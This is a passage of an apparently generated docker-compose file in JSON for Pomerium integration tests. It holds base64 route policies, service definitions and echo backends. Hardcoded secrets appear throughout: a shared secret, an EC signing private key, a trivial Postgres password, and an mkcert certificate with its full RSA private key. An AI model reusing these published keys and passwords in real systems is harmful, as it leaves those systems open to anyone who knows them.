iYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtc2VydmVyLW5hbWUtZW5hYmxlZCIsCiJ0bHNfc2VydmVyX25hbWUiOiAiaHR0cGRldGFpbHMubG9jYWxob3N0Lm5vdHBvbWVyaXVtLmlvIiwKInRvIjogImh0dHBzOi8vd3JvbmdseS1uYW1lZC1odHRwZGV0YWlsczo4NDQzIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhdGgiOiAiL3Rscy1zZXJ2ZXItbmFtZS1kaXNhYmxlZCIsCiJ0byI6ICJodHRwczovL3dyb25nbHktbmFtZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtY3VzdG9tLWNhLWVuYWJsZWQiLAoidGxzX2N1c3RvbV9jYSI6ICJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VVeVJFTkRRVEJEWjBGM1NVSkJaMGxTUVV4a09VZGhTbEk1TW5GcE4zRk1NV1ZJUjAwMlN6QjNSRkZaU2t0dldrbG9kbU5PUVZGRlRFSlJRWGNLWjFsTmVFaHFRV05DWjA1V1FrRnZWRVpYTVhKWk1sWjVaRU5DYTFwWVdteGlSemwzWWxkV2RXUkRRa1JSVkVWelRVTnZSMEV4VlVWRGQzZHFXVEpHY3dwYVYwcEJXVEpHYzFwWFNYUmpSMDEwWWtkc2RXUllaMmRMUlU1b1lrZFdhVWxGVW5abFNFNXNaVk5yZUUxNlFYaENaMDVXUWtGTlRVdHRNWEpaTWxaNUNtUkRRbXBaVjNoc1dXdENhbGxYZUd4WmFURjNXWGt4YzJGWE5URmxRMEZ2VVRKR2MxcFhTV2RTUnprMFl6SldOVXRVUVdWR2R6QjVUVlJCTkUxVVJYa0tUVlJWTWsxVVFtRkdkekI2VFZSQk5FMVVSWGxOVkZVeVRWUkNZVTFKUjBSTlVqUjNTRUZaUkZaUlVVdEZlRlowWVRKT2JHTnVVV2RhUjFZeVdsZDRkZ3BqUnpGc1ltNVJaMUV3UlhoTVJFRnhRbWRPVmtKQmMwMUpNazVvWWtkV2FWRkhUbWhpUjFacFRGaENha3hYZUhCaWJsWTBTVU5vUkZsWGVHeFphVUpGQ21JemFIcGFXR3R3VFZSTmQwMVJXVVJXVVZGRVJFTndkR0V5VG14amJsRm5XVEpHYzFwWFNrRlpNa1p6V2xkSmRHTkhUWFJpUjJ4MVpGaG5aMHRGVG1nS1lrZFdhVWxGVW5abFNFNXNaVk5yZDJkblIybE5RVEJIUTFOeFIxTkpZak5FVVVWQ1FWRlZRVUUwU1VKcWQwRjNaMmRIUzBGdlNVSm5VVVJYV1hCV1pRcENVMjVsWlRKalFVSlpiMlpUYjFkNFIwMTVSbUZOVVRCdVNtdFpNRlZYVFRsamEzbFZhRGRXWm1kT0t5OWhSbE5YTWxwVGJWaDFkalZrY21Od2FUSXdDbm96Wld4b1VGUmxPVGhpUVU1aWFpc3ZZbWt3TURFMVVWZHVUV1Z1U3pBMVdrczJjVVIwUm5kdkwwaFdReTlaWTJGeWRYVTVOaXN4U2pKMGIyVlhkVVVLZEhsclZ6Tk5RM0JETVhCSVdWTTFaemxwVmtScmNHUnllbTUyV0V0c1dYVlRhV3RxY21vM1N6VjBiMmxVZG5WdE9UZE1lRXRyZFdvMlJGaHFZWEJRUkFvMWRuUmxVMDR4WkZGblR6bERVek56Y1d4amQxbEJObEpxVlVoM1dUSldSV2d5WVdSUU16ZENXbkphZDA4cmVVcHhPWEZHTlhrMVIyeG5hVGhzVGpSakNrdHNTV3hHVlhNdmVGTndVWE40VG1KT1VWaDBUamx0YXpScGJWbHNXa2Q2V1ZsaVltMHJabTlDVmxCUVltOWhOV3BXZDB0RWNGbzJOVzFQY3pkS1IxQUtObmxxS3pkV04xVkNUVVp3Vnl0blMyMUtkR2RvTDJ0clFYZ3hPRFZvT1ROeGQweEdVR000TDFRM2Jpc3JVREZpZFN0bVlXdFlVRWRRUlRJeGNrUmxUQXBRYmxWdGRXTkpXbkJLYnpWT2NGbFdVWFkwVjNaVVMzRXZlazFTT1ZOemNIb3lVRVpLYmtWU1ZHWlVkbkVyUmpGeE0xcE9ZV1pGZW1sUWMwSTViMlZUQ201cWVIZHRZVnBQVTFZd2RsaHhMM0ZsYjNGNE5IWTJUVUo2VmtGWk1DODRVakpNWTNCS05IVm5NRTlhTTNjd1lqSjBObmx2T0RaUU5WRTRRMEYzUlVFS1FXRk9SazFGVFhkRVoxbEVWbEl3VUVGUlNDOUNRVkZFUVdkSlJVMUNTVWRCTVZWa1JYZEZRaTkzVVVsTlFWbENRV1k0UTBGUlFYZElVVmxFVmxJd1R3cENRbGxGUmt4aldUaEZiMDV2WmsxamNuSjRlbmw0U1c0elZ6WmFUMDFXV0UxQk1FZERVM0ZIVTBsaU0wUlJSVUpEZDFWQlFUUkpRbWRSUTFwNlJFTjJDa3RKU0ZnelIzWnFUbE5aTlhjMVlrOXVORVV6ZHpkUlNGQXdPVUZDYWxRdmQzVlVORXhFYTFwSVNrMXRiSEpNYnpOek9HSmpjMUV3YzAxRU1Wa3ZMeThLY3pBM1kzQTBlRmxzY1VRM1FrRXdRV053ZGxsV1dYRTFPSGhMZUhOdlEzZFdXRzFITldORlpVOXZXbTFYWmpOeFdUSnRVemhsVnprMmRrOUdjbVJKWWdwTU5FOUdOSGhaVlU5TlVuRkJUMGRCUVhJMlZteFBOMmRZWVRRd05raDZjbk5CTVdoWlduZHlaVmhvVDFSRFdscFFXazlWYmtGMU1EVlRTRVprWjJGTkNsUktUa0l2YnpBeGRIQjNVV3h5VkhoT2JXWnliM0J2VDNwNWRYWklNSHBWTWxKeVRYTXdLMFZpVDNWRE5FRXlZMUU0TTBSSlJuaDJjVFkzYkhsVk1FRUtjekZSTm5SU1RUQXJWVVJ0U2s5TWVqTlRaR2RPSzBRd01HaGpkWFZxT1RKSFZqUmlTRGhDWm5sVmRqaE9RMWt3ZGtScGFqQlVVMnBxTkdNMFVYUmpOd3BKVUV4VVdqSm5OVFExYjJONmFFNW5RVzFVTjJRclFqVkpibmxtYVZOSlMyVnRXSEZsY3pKcWNHbEJabnBRVG13NVFsWjRjMkZyWTNNdldYcHZXWE14Q2l0eFZHcEJWM1ZoUkhOTGIyaEZiazgwUWtwMWVuWXdlSEpqWlRRd1pXNVNaMWg1UjBkR2RsaDFNbk0wUmxreWRrcHhWRk52Tm5selJGZHVhRWt6VEZjS1pHTm5Oazh5UmpSQlVFTkhSMlUzZW5OMWNXbHhhM0JqYTI1Q1lXSm5la1Z6T1dadlNIRXliV1p2TjFocFJYcGxaRTFPT0VKT2NXWlRZa0U5Q2kwdExTMHRSVTVFSUVORlVsUkpSa2xEUVZSRkxTMHRMUzBLIiwKInRsc19zZXJ2ZXJfbmFtZSI6ICJodHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoidG8iOiAiaHR0cHM6Ly91bnRydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtY3VzdG9tLWNhLWRpc2FibGVkIiwKInRvIjogImh0dHBzOi8vdW50cnVzdGVkLWh0dHBkZXRhaWxzOjg0NDMiCn0sCnsKImNvcnNfYWxsb3dfcHJlZmxpZ2h0IjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9jb3JzLWVuYWJsZWQiLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiY29yc19hbGxvd19wcmVmbGlnaHQiOiBmYWxzZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9jb3JzLWRpc2FibGVkIiwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9wcmVzZXJ2ZS1ob3N0LWhlYWRlci1lbmFibGVkIiwKInByZXNlcnZlX2hvc3RfaGVhZGVyIjogdHJ1ZSwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9wcmVzZXJ2ZS1ob3N0LWhlYWRlci1kaXNhYmxlZCIsCiJwcmVzZXJ2ZV9ob3N0X2hlYWRlciI6IGZhbHNlLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vcmVzdHJpY3RlZC1odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93ZWRfZG9tYWlucyI6IFsKImRvZ3MudGVzdCIKXSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInByZWZpeCI6ICIvYnktZG9tYWluIiwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93ZWRfdXNlcnMiOiBbCiJ1c2VyMUBkb2dzLnRlc3QiCl0sCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhc3NfaWRlbnRpdHlfaGVhZGVycyI6IHRydWUsCiJwcmVmaXgiOiAiL2J5LXVzZXIiLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKImxiX3BvbGljeSI6ICJST1VORF9ST0JJTiIsCiJwcmVmaXgiOiAiL3JvdW5kLXJvYmluIiwKInRvIjogWwoiaHR0cDovL3RydXN0ZWQtMS1odHRwZGV0YWlsczo4MDgwIiwKImh0dHA6Ly90cnVzdGVkLTItaHR0cGRldGFpbHM6ODA4MCIsCiJodHRwOi8vdHJ1c3RlZC0zLWh0dHBkZXRhaWxzOjgwODAiCl0KfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKImxiX3BvbGljeSI6ICJSSU5HX0hBU0giLAoicHJlZml4IjogIi9yaW5nLWhhc2giLAoidG8iOiBbCiJodHRwOi8vdHJ1c3RlZC0xLWh0dHBkZXRhaWxzOjgwODAiLAoiaHR0cDovL3RydXN0ZWQtMi1odHRwZGV0YWlsczo4MDgwIiwKImh0dHA6Ly90cnVzdGVkLTMtaHR0cGRldGFpbHM6ODA4MCIKXQp9LAp7CiJhbGxvd19hbnlfYXV0aGVudGljYXRlZF91c2VyIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoibGJfcG9saWN5IjogIk1BR0xFViIsCiJwcmVmaXgiOiAiL21hZ2xldiIsCiJ0byI6IFsKImh0dHA6Ly90cnVzdGVkLTEtaHR0cGRldGFpbHM6ODA4MCIsCiJodHRwOi8vdHJ1c3RlZC0yLWh0dHBkZXRhaWxzOjgwODAiLAoiaHR0cDovL3RydXN0ZWQtMy1odHRwZGV0YWlsczo4MDgwIgpdCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInNldF9yZXF1ZXN0X2hlYWRlcnMiOiB7CiJYLUN1c3RvbS1SZXF1ZXN0LUhlYWRlciI6ICJjdXN0b20tcmVxdWVzdC1oZWFkZXItdmFsdWUiCn0sCiJ0byI6ICJodHRwOi8vdHJ1c3RlZC1odHRwZGV0YWlsczo4MDgwIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJhbGxvd193ZWJzb2NrZXRzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9lbmFibGVkLXdzLWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2Rpc2FibGVkLXdzLWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZW5hYmxlX2dvb2dsZV9jbG91ZF9zZXJ2ZXJsZXNzX2F1dGhlbnRpY2F0aW9uIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9jbG91ZHJ1bi5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInNldF9yZXF1ZXN0X2hlYWRlcnMiOiB7CiJ4LWlkcCI6ICJvaWRjIgp9LAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfQpd\",\n        \"SHARED_SECRET\": \"UYgnt8bxxK5G2sFaNzyqi5Z+OgF8m2akNc0xdQx718w=\",\n        \"SIGNING_KEY\": \"LS0tLS1CRUdJTiBFQyBQUklWQVRFIEtFWS0tLS0tCk1IY0NBUUVFSVBSR1d3TGg3NW5OWG5razM3ekRmTjhvbkx3ZkNpYUxQVEQrbmM4THg1aGNvQW9HQ0NxR1NNNDkKQXdFSG9VUURRZ0FFa3BCa08wVEttaDRKZFFmTE9lZU1kNTNLbmdhMVdkUVhyNUZjZXBrK2RMVktkVkt4WENHcQpoMW9qdWh1VzExR0lvT3pTOUdvU0tsTlZTUkZXVkVXRHZ3PT0KLS0tLS1FTkQgRUMgUFJJVkFURSBLRVktLS0tLQo=\",\n        \"SIGNING_KEY_ALGORITHM\": \"ES256\"\n      },\n      \"image\": \"pomerium/pomerium:${POMERIUM_TAG:-main}\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"pomerium\",\n            \"authenticate.localhost.pomerium.io\"\n          ]\n        }\n      },\n      \"ports\": [\n        \"80:80/tcp\",\n        \"443:443/tcp\",\n        \"9901:9901/tcp\"\n      ]\n    },\n    \"postgres\": {\n      \"environment\": {\n        \"POSTGRES_DB\": \"test\",\n        \"POSTGRES_PASSWORD\": \"password\",\n        \"POSTGRES_USER\": \"pomerium\"\n      },\n      \"image\": \"postgres:14.3-alpine\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"postgres\"\n          ]\n        }\n      }\n    },\n    \"postgres-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"tcp://postgres:5432\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"postgres-ready\"\n          ]\n        }\n      }\n    },\n    \"trusted-1-httpdetails\": {\n      \"command\": [\n        \"sh\",\n        \"-c\",\n        \"cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\\n-----BEGIN CERTIFICATE-----\\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\\nxjUE8XUu\\n-----END CERTIFICATE-----\\nEND_OF_HTTPDETAILS\\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\\n-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\\ngmLh4w/CcPyb9ZyXceWU/nU=\\n-----END PRIVATE KEY-----\\nEND_OF_HTTPDETAILS\\nnode ./index.js\\n\"\n      ],\n      \"image\": \"mendhak/http-https-echo:19\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"trusted-1-httpdetails\"\n          ]\n        }\n      }\n    },\n    \"trusted-1-httpdetails-ready\": {\n      \"command\": [\n        \"-wait\",\n        \"http://trusted-1-httpdetails:8080\",\n        \"-timeout\",\n        \"10m\"\n      ],\n      \"image\": \"jwilder/dockerize:0.6.1\",\n      \"networks\": {\n        \"main\": {\n          \"aliases\": [\n            \"trusted-1-httpdetails-ready\"\n          ]\n        }\n      }\n    },\n    \"trusted-2-httpdetails\": {\n      \"command\": [\n        \"sh\",\n        \"-c\",\n        \"cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem\\n-----BEGIN CERTIFICATE-----\\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\\nxjUE8XUu\\n-----END CERTIFICATE-----\\nEND_OF_HTTPDETAILS\\ncat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem\\n-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\\nBQkF408p